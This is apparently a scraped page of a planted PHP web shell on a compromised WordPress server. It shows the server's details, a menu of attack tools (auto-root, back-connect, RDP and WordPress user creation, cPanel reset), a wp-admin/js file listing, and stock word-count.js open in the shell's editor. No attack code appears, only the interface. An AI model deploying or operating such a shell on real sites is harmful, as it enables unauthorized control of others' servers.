Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.70.131.114
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
administrator /
sbs.cy /
wp-admin /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
widgets
[ DIR ]
drwxr-xr-x
accordion.js
2.87
KB
-rw-r--r--
accordion.min.js
849
B
-rw-r--r--
application-passwords.js
6.24
KB
-rw-r--r--
application-passwords.min.js
2.95
KB
-rw-r--r--
auth-app.js
5.66
KB
-rw-r--r--
auth-app.min.js
2.04
KB
-rw-r--r--
code-editor.js
11.32
KB
-rw-r--r--
code-editor.min.js
3.01
KB
-rw-r--r--
color-picker.js
9.54
KB
-rw-r--r--
color-picker.min.js
3.4
KB
-rw-r--r--
comment.js
2.85
KB
-rw-r--r--
comment.min.js
1.28
KB
-rw-r--r--
common.js
58.39
KB
-rw-r--r--
common.min.js
21.76
KB
-rw-r--r--
custom-background.js
3.35
KB
-rw-r--r--
custom-background.min.js
1.18
KB
-rw-r--r--
custom-header.js
1.98
KB
-rw-r--r--
customize-controls.js
286.46
KB
-rw-r--r--
customize-controls.min.js
108.97
KB
-rw-r--r--
customize-nav-menus.js
106.32
KB
-rw-r--r--
customize-nav-menus.min.js
44.76
KB
-rw-r--r--
customize-widgets.js
70.02
KB
-rw-r--r--
customize-widgets.min.js
27.4
KB
-rw-r--r--
dashboard.js
26.92
KB
-rw-r--r--
dashboard.min.js
8.59
KB
-rw-r--r--
edit-comments.js
36.65
KB
-rw-r--r--
edit-comments.min.js
14.99
KB
-rw-r--r--
editor-expand.js
41.61
KB
-rw-r--r--
editor-expand.min.js
13.14
KB
-rw-r--r--
editor.js
44.25
KB
-rw-r--r--
editor.min.js
12.87
KB
-rw-r--r--
farbtastic.js
7.67
KB
-rw-r--r--
gallery.js
5.41
KB
-rw-r--r--
gallery.min.js
3.65
KB
-rw-r--r--
image-edit.js
38.21
KB
-rw-r--r--
image-edit.min.js
14.3
KB
-rw-r--r--
inline-edit-post.js
19.8
KB
-rw-r--r--
inline-edit-post.min.js
9.27
KB
-rw-r--r--
inline-edit-tax.js
7.61
KB
-rw-r--r--
inline-edit-tax.min.js
2.93
KB
-rw-r--r--
iris.min.js
23.09
KB
-rw-r--r--
language-chooser.js
890
B
-rw-r--r--
language-chooser.min.js
423
B
-rw-r--r--
link.js
3.89
KB
-rw-r--r--
link.min.js
1.7
KB
-rw-r--r--
media-gallery.js
1.27
KB
-rw-r--r--
media-gallery.min.js
611
B
-rw-r--r--
media-upload.js
3.38
KB
-rw-r--r--
media-upload.min.js
1.13
KB
-rw-r--r--
media.js
6.26
KB
-rw-r--r--
media.min.js
2.34
KB
-rw-r--r--
nav-menu.js
50.09
KB
-rw-r--r--
nav-menu.min.js
25.35
KB
-rw-r--r--
password-strength-meter.js
4.14
KB
-rw-r--r--
password-strength-meter.min.js
1.1
KB
-rw-r--r--
password-toggle.js
1.31
KB
-rw-r--r--
password-toggle.min.js
847
B
-rw-r--r--
plugin-install.js
6.92
KB
-rw-r--r--
plugin-install.min.js
2.35
KB
-rw-r--r--
post.js
39.08
KB
-rw-r--r--
post.min.js
18.59
KB
-rw-r--r--
postbox.js
18.4
KB
-rw-r--r--
postbox.min.js
6.55
KB
-rw-r--r--
privacy-tools.js
10.65
KB
-rw-r--r--
privacy-tools.min.js
5.02
KB
-rw-r--r--
revisions.js
33.13
KB
-rw-r--r--
revisions.min.js
17.45
KB
-rw-r--r--
set-post-thumbnail.js
876
B
-rw-r--r--
set-post-thumbnail.min.js
620
B
-rw-r--r--
site-health.js
13.15
KB
-rw-r--r--
site-health.min.js
6.13
KB
-rw-r--r--
site-icon.js
5.91
KB
-rw-r--r--
site-icon.min.js
2.12
KB
-rw-r--r--
svg-painter.js
5.39
KB
-rw-r--r--
svg-painter.min.js
2.33
KB
-rw-r--r--
tags-box.js
10.88
KB
-rw-r--r--
tags-box.min.js
3
KB
-rw-r--r--
tags-suggest.js
5.64
KB
-rw-r--r--
tags-suggest.min.js
2.22
KB
-rw-r--r--
tags.js
4.77
KB
-rw-r--r--
tags.min.js
1.96
KB
-rw-r--r--
theme-plugin-editor.js
24.79
KB
-rw-r--r--
theme-plugin-editor.min.js
11.46
KB
-rw-r--r--
theme.js
54.67
KB
-rw-r--r--
theme.min.js
26.42
KB
-rw-r--r--
updates.js
107.59
KB
-rw-r--r--
updates.min.js
46.81
KB
-rw-r--r--
user-profile.js
13.78
KB
-rw-r--r--
user-profile.min.js
6.13
KB
-rw-r--r--
user-suggest.js
2.25
KB
-rw-r--r--
user-suggest.min.js
676
B
-rw-r--r--
widgets.js
22.56
KB
-rw-r--r--
widgets.min.js
12.31
KB
-rw-r--r--
word-count.js
7.52
KB
-rw-r--r--
word-count.min.js
1.49
KB
-rw-r--r--
xfn.js
740
B
-rw-r--r--
xfn.min.js
458
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : word-count.js
/** * Word or character counting functionality. Count words or characters in a * provided text string. * * @namespace wp.utils * * @since 2.6.0 * @output wp-admin/js/word-count.js */ ( function() { /** * Word counting utility * * @namespace wp.utils.wordcounter * @memberof wp.utils * * @class * * @param {Object} settings Optional. Key-value object containing overrides for * settings. * @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements. * @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments. * @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space * characters. * @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities. * @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that * split words. * @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted * characters to reduce false-positives. * @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted * characters when searching for non-words. * @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces. * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which * are non-spaces. * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters * including spaces. * @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes. * @param {Object} settings.l10n Optional. Localization object containing specific * configuration for the current localization. * @param {string} settings.l10n.type Optional. Method of finding words to count. * @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed * from the text. * * @return {void} */ function WordCounter( settings ) { var key, shortcodes; // Apply provided settings to object settings. if ( settings ) { for ( key in settings ) { // Only apply valid settings. if ( settings.hasOwnProperty( key ) ) { this.settings[ key ] = settings[ key ]; } } } shortcodes = this.settings.l10n.shortcodes; // If there are any localization shortcodes, add this as type in the settings. if ( shortcodes && shortcodes.length ) { this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' ); } } // Default settings. WordCounter.prototype.settings = { HTMLRegExp: /<\/?[a-z][^>]*?>/gi, HTMLcommentRegExp: /<!--[\s\S]*?-->/g, spaceRegExp: / | /gi, HTMLEntityRegExp: /&\S+?;/g, // \u2014 = em-dash. connectorRegExp: /--|\u2014/g, // Characters to be removed from input text. removeRegExp: new RegExp( [ '[', // Basic Latin (extract). '\u0021-\u0040\u005B-\u0060\u007B-\u007E', // Latin-1 Supplement (extract). '\u0080-\u00BF\u00D7\u00F7', /* * The following range consists of: * General Punctuation * Superscripts and Subscripts * Currency Symbols * Combining Diacritical Marks for Symbols * Letterlike Symbols * Number Forms * Arrows * Mathematical Operators * Miscellaneous Technical * Control Pictures * Optical Character Recognition * Enclosed Alphanumerics * Box Drawing * Block Elements * Geometric Shapes * Miscellaneous Symbols * Dingbats * Miscellaneous Mathematical Symbols-A * Supplemental Arrows-A * Braille Patterns * Supplemental Arrows-B * Miscellaneous Mathematical Symbols-B * Supplemental Mathematical Operators * Miscellaneous Symbols and Arrows */ '\u2000-\u2BFF', // Supplemental Punctuation. '\u2E00-\u2E7F', ']' ].join( '' ), 'g' ), // Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g, wordsRegExp: /\S\s+/g, characters_excluding_spacesRegExp: /\S/g, /* * Match anything that is not a formatting character, excluding: * \f = form feed * \n = new line * \r = carriage return * \t = tab * \v = vertical tab * \u00AD = soft hyphen * \u2028 = line separator * \u2029 = paragraph separator */ characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g, l10n: window.wordCountL10n || {} }; /** * Counts the number of words (or other specified type) in the specified text. * * @since 2.6.0 * * @memberof wp.utils.wordcounter * * @param {string} text Text to count elements in. * @param {string} type Optional. Specify type to use. * * @return {number} The number of items counted. */ WordCounter.prototype.count = function( text, type ) { var count = 0; // Use default type if none was provided. type = type || this.settings.l10n.type; // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) { type = 'words'; } // If we have any text at all. if ( text ) { text = text + '\n'; // Replace all HTML with a new-line. text = text.replace( this.settings.HTMLRegExp, '\n' ); // Remove all HTML comments. text = text.replace( this.settings.HTMLcommentRegExp, '' ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( this.settings.shortcodesRegExp ) { text = text.replace( this.settings.shortcodesRegExp, '\n' ); } // Normalize non-breaking space to a normal space. text = text.replace( this.settings.spaceRegExp, ' ' ); if ( type === 'words' ) { // Remove HTML Entities. text = text.replace( this.settings.HTMLEntityRegExp, '' ); // Convert connectors to spaces to count attached text as words. text = text.replace( this.settings.connectorRegExp, ' ' ); // Remove unwanted characters. text = text.replace( this.settings.removeRegExp, '' ); } else { // Convert HTML Entities to "a". text = text.replace( this.settings.HTMLEntityRegExp, 'a' ); // Remove surrogate points. text = text.replace( this.settings.astralRegExp, 'a' ); } // Match with the selected type regular expression to count the items. text = text.match( this.settings[ type + 'RegExp' ] ); // If we have any matches, set the count to the number of items found. if ( text ) { count = text.length; } } return count; }; // Add the WordCounter to the WP Utils. window.wp = window.wp || {}; window.wp.utils = window.wp.utils || {}; window.wp.utils.WordCounter = WordCounter; } )();
Close